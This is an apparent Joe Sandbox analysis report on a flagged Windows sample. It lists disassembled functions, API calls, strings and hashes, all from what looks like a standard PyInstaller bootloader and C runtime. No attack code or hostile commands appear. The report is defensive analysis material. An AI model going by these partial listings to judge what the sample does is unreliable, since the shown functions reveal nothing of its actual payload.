String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: d06a92813886bac4db22892db141582495630975dbcfbb846e36d04df9038670
Instruction ID: 89043d20a7cd0cacdc2076c722de40aef22837c916554b497790268683672046
Opcode Fuzzy Hash: d06a92813886bac4db22892db141582495630975dbcfbb846e36d04df9038670
Instruction Fuzzy Hash: A2E1E321A0DF03D5FB69AB08AD40D79E3B5EF08740FC455B5C80E067A5EF7CA64A8E24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA712A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA72B10: MessageBoxW.USER32 ref: 00007FF72AA72BE5

_fread_nolock.LIBCMT ref: 00007FF72AA71489

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF72AA712EE
fseek, xrefs: 00007FF72AA71322
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72AA714AF
fread, xrefs: 00007FF72AA714B6
\, xrefs: 00007FF72AA713E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72AA7131B
malloc, xrefs: 00007FF72AA71367
%s%c%s, xrefs: 00007FF72AA713DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF72AA71360

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: 3a9353e87fb46ae70a905d591ee7d5370e5acccaf29a88fb977ba2c7891f12e6
Instruction ID: ecd9620cc17398cfe75503c5557266df30e6e0e29bbcdc8209e7999fdaffb779
Opcode Fuzzy Hash: 3a9353e87fb46ae70a905d591ee7d5370e5acccaf29a88fb977ba2c7891f12e6
Instruction Fuzzy Hash: 3251A461A0868385FB60BB119C51EBFA3B0EF44784FC04171DE5D47B99EE2CE5468B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA723D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF72AA723FB
SelectObject.GDI32 ref: 00007FF72AA72442
DrawTextW.USER32 ref: 00007FF72AA72465
SelectObject.GDI32 ref: 00007FF72AA7247B
ReleaseDC.USER32 ref: 00007FF72AA7248B
MoveWindow.USER32 ref: 00007FF72AA724DB
MoveWindow.USER32 ref: 00007FF72AA7251B
MoveWindow.USER32 ref: 00007FF72AA7256E
MoveWindow.USER32 ref: 00007FF72AA725B6

Strings

P%, xrefs: 00007FF72AA7244F

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 4ec0923ad57b9e26d950b98539eabaaac0ee0779749769c2f3ee915382542b09
Instruction ID: b504f4c9f8c27630a086e2b5d3062aa41565d80d7b401604564f3ade9af68978
Opcode Fuzzy Hash: 4ec0923ad57b9e26d950b98539eabaaac0ee0779749769c2f3ee915382542b09
Instruction Fuzzy Hash: C551E826614BA187E7249F26E8185BBF7B1FB98B61F404121EBCE43654DF3CD146DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA86D84 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA86DC7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA871B4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA87450

Strings

f, xrefs: 00007FF72AA86EE9
p, xrefs: 00007FF72AA86E79
-, xrefs: 00007FF72AA86E5D
p, xrefs: 00007FF72AA86EF1
:, xrefs: 00007FF72AA86F80

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: c2e3e1b204f81d5d3111ec2c6225d8aa08a7090ee70090e6a6c227d1fd7f1b68
Instruction ID: 0b3905db864eed913b8b59e8602670b09ccca6369032ba901272341cf38d9395
Opcode Fuzzy Hash: c2e3e1b204f81d5d3111ec2c6225d8aa08a7090ee70090e6a6c227d1fd7f1b68
Instruction Fuzzy Hash: A8129322A0C143CAFB64BA14D954A79F672FF80754FC44075EA9947AC4EF3CE9829F21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA816E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA81728
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA81AF0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA81D8F

Strings

p, xrefs: 00007FF72AA81832
f, xrefs: 00007FF72AA8182A
f, xrefs: 00007FF72AA817C0
f, xrefs: 00007FF72AA81975
p, xrefs: 00007FF72AA817CD

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: f25701e18b7e3b768cc97be4ad67ee6babc8222917340eb79faa42be88ba5edf
Instruction ID: b1b944d4d7a564e1ee1562e13c81c25c7db521a25bbf94487336442cb775d2e5
Opcode Fuzzy Hash: f25701e18b7e3b768cc97be4ad67ee6babc8222917340eb79faa42be88ba5edf
Instruction Fuzzy Hash: 60129262E0C1438EFB60BB54D854AB9F6B2FF40754FC84176E699466C4DB7CE48A8F20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA71590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF72AA715C3
fseek, xrefs: 00007FF72AA71600
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72AA716B2
fread, xrefs: 00007FF72AA716B9
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72AA715F9
malloc, xrefs: 00007FF72AA71630
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF72AA71629

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 36300f35f55aecd370ad36ebaa49fb0f94a963389e61d921ac5c2d29b410f85f
Instruction ID: 7024a3eb080c87ee45f5352cba82c7265f5d7049fa431ad0680534f6236d9501
Opcode Fuzzy Hash: 36300f35f55aecd370ad36ebaa49fb0f94a963389e61d921ac5c2d29b410f85f
Instruction Fuzzy Hash: 2B315E21B0864386FB24BB11AC00DBAE3B1EF44794FC444B1DE4D07A69EE3CE54B8B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7F120 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF72AA7F17C

Part of subcall function 00007FF72AA800DC: __GetUnwindTryBlock.LIBCMT ref: 00007FF72AA8011F
Part of subcall function 00007FF72AA800DC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF72AA80144

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF72AA7F254
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF72AA7F4A3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF72AA7F5AF

Strings

csm, xrefs: 00007FF72AA7F1FD
csm, xrefs: 00007FF72AA7F277
csm, xrefs: 00007FF72AA7F196

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aa0254fa6ad752d1b0b3ebb90ffce52311fa0a6dd2bc18c7a97eb297d781420a
Instruction ID: 8eeae63bc8b5bf303dc05747667e06395593fac137740581acbd1174fa15f31b
Opcode Fuzzy Hash: aa0254fa6ad752d1b0b3ebb90ffce52311fa0a6dd2bc18c7a97eb297d781420a
Instruction Fuzzy Hash: 0ED19F32A087428AFB60AF64DD406AEB7B0FF45788F800176DA4D57B95DF38E542CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA787A0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA78837
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA7888E

Strings

WideCharToMultiByte, xrefs: 00007FF72AA788D6
Failed to encode wchar_t as UTF-8., xrefs: 00007FF72AA788B6
Out of memory., xrefs: 00007FF72AA788BF
win32_utils_to_utf8, xrefs: 00007FF72AA788C6
Failed to get UTF-8 buffer size., xrefs: 00007FF72AA788CF

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: da25680c1af6adbbd75f9aaa9149da67c4ccf9ada2fcee16a4d67ff34c50752a
Instruction ID: afe38495652d52ab243025c48ae9a3c4a7cdeab0e172559ae1ee9eb2bb528519
Opcode Fuzzy Hash: da25680c1af6adbbd75f9aaa9149da67c4ccf9ada2fcee16a4d67ff34c50752a
Instruction Fuzzy Hash: 7A416B32A08B8282F760EF15AC4097AE6B1FF88B90F944175DA8D47B95DF3CD596CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78CE0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF72AA739CA), ref: 00007FF72AA78D21

Part of subcall function 00007FF72AA729C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF72AA788E2,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA729F4
Part of subcall function 00007FF72AA729C0: MessageBoxW.USER32 ref: 00007FF72AA72AD0

WideCharToMultiByte.KERNEL32(?,00007FF72AA739CA), ref: 00007FF72AA78D95

Strings

WideCharToMultiByte, xrefs: 00007FF72AA78D35, 00007FF72AA78DA6
Failed to encode wchar_t as UTF-8., xrefs: 00007FF72AA78D9F
Out of memory., xrefs: 00007FF72AA78D5B
win32_utils_to_utf8, xrefs: 00007FF72AA78D62
Failed to get UTF-8 buffer size., xrefs: 00007FF72AA78D2E

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 24e20b950f9c341c4949047225b46873ae1dde5e69406ebada3fd8935fcb2f41
Instruction ID: 685257fa2379797264e3cb864eed6f4b4c10e6d1001fec97b939c48ed70f8ea9
Opcode Fuzzy Hash: 24e20b950f9c341c4949047225b46873ae1dde5e69406ebada3fd8935fcb2f41
Instruction Fuzzy Hash: 0E218F25A08B4395FB10EF25AC408B9B6B1EF94B80FD44176CA0D47756EF3CE6428B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA775A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF72AA77716

Part of subcall function 00007FF72AA80830: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA80844

Part of subcall function 00007FF72AA80804: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72AA80818

Strings

WARNING: file already exists but should not: %s, xrefs: 00007FF72AA77698
ERROR: file already exists but should not: %s, xrefs: 00007FF72AA7767C
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF72AA77632
\, xrefs: 00007FF72AA775EC
%s%c%s, xrefs: 00007FF72AA775E5

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: a7b9ea968ea6d4a235862304c728b3346e2d3f1ca1720115eb11694707883f2d
Instruction ID: ea8d98f5197ab71eb7d0f593f43764d701abf17e32dae0f38b206bb44632971b
Opcode Fuzzy Hash: a7b9ea968ea6d4a235862304c728b3346e2d3f1ca1720115eb11694707883f2d
Instruction Fuzzy Hash: 51517E21E0D64385FB65B7259D11EBEE2B1DF84B80FC401B1E94D866DAEE2CE5028F60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA77420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72AA78BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF72AA779A1,00000000,?,00000000,00000000,?,00007FF72AA7153F), ref: 00007FF72AA7747F

Part of subcall function 00007FF72AA72B10: MessageBoxW.USER32 ref: 00007FF72AA72BE5

Strings

LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF72AA77456
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF72AA774DA
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF72AA77493

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 8743f48341130adb83b05e1f6ce01007e671de32885b94e340be128834149e90
Instruction ID: 6d133663babd878b213328dae9965a54d88b7a2c5b5b3e6d8cb2b29d46214d5a
Opcode Fuzzy Hash: 8743f48341130adb83b05e1f6ce01007e671de32885b94e340be128834149e90
Instruction Fuzzy Hash: E231A211B1978380FB61BB21ED15ABFD2B1EF88780FC44475DA4E42796EE2CE1068F20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA7E1B8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF72AA7E46A,?,?,?,00007FF72AA7D39C,?,?,?,00007FF72AA7CF91), ref: 00007FF72AA7E23D
GetLastError.KERNEL32(?,?,?,00007FF72AA7E46A,?,?,?,00007FF72AA7D39C,?,?,?,00007FF72AA7CF91), ref: 00007FF72AA7E24B
LoadLibraryExW.KERNEL32(?,?,?,00007FF72AA7E46A,?,?,?,00007FF72AA7D39C,?,?,?,00007FF72AA7CF91), ref: 00007FF72AA7E275
FreeLibrary.KERNEL32(?,?,?,00007FF72AA7E46A,?,?,?,00007FF72AA7D39C,?,?,?,00007FF72AA7CF91), ref: 00007FF72AA7E2E3
GetProcAddress.KERNEL32(?,?,?,00007FF72AA7E46A,?,?,?,00007FF72AA7D39C,?,?,?,00007FF72AA7CF91), ref: 00007FF72AA7E2EF

Strings

api-ms-, xrefs: 00007FF72AA7E25D

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 257efbe4257383a3eec37a8e0b20558c4c24ba0fcd14ee08d032d02959c7be2e
Instruction ID: 4326308605762a6dd333857cbe29d8dda11fd0f6eb0a67fe722bb21e728a21f3
Opcode Fuzzy Hash: 257efbe4257383a3eec37a8e0b20558c4c24ba0fcd14ee08d032d02959c7be2e
Instruction Fuzzy Hash: 9A31B221B1AA4295FF61AB429C0097AA3E4FF04BA0F990575DD1D4A790EF3CE8428F64

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA78BD0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C0A

Part of subcall function 00007FF72AA729C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF72AA788E2,?,?,?,?,?,?,?,?,?,?,?,00007FF72AA7101D), ref: 00007FF72AA729F4
Part of subcall function 00007FF72AA729C0: MessageBoxW.USER32 ref: 00007FF72AA72AD0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF72AA72A9B), ref: 00007FF72AA78C90

Strings

win32_utils_from_utf8, xrefs: 00007FF72AA78C59
Out of memory., xrefs: 00007FF72AA78C52
Failed to decode wchar_t from UTF-8, xrefs: 00007FF72AA78C9A
MultiByteToWideChar, xrefs: 00007FF72AA78C1E, 00007FF72AA78CA1
Failed to get wchar_t buffer size., xrefs: 00007FF72AA78C17

Memory Dump Source

Source File: 00000000.00000002.2004759392.00007FF72AA71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF72AA70000, based on PE: true

Associated: 00000000.00000002.2004732372.00007FF72AA70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004794570.00007FF72AA9C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004824116.00007FF72AAB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2004877665.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff72aa70000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 83b31a2985e644c59f7e42e272613087ded70715f2d4689f177d6a205493e17b
Instruction ID: 613ca5cd465cc1709ace2a56334ceaa2e19df47266f1f9b38c53222e23366606
Opcode Fuzzy Hash: 83b31a2985e644c59f7e42e272613087ded70715f2d4689f177d6a205493e17b
Instruction Fuzzy Hash: 0B214422B08A4291FB50EB29FD4046AE371FF88784F984575DA5C43B69EF2DD5528F10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72AA8BCF0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF72AA8BCFF
FlsGetValue.KERNEL32 ref: 00007FF72AA8BD14
FlsSetValue.KERNEL32 ref: 00007FF72AA8BD35
FlsSetValue.KERNEL32 ref: 00007FF72AA8BD62
FlsSetValue.KERNEL32 ref: 00007FF72AA8BD73
FlsSetValue.KERNEL32 ref: 00007FF72AA8BD84
SetLastError.KERNEL32 ref: 00007FF72AA8BD9F

Memory Dump Source

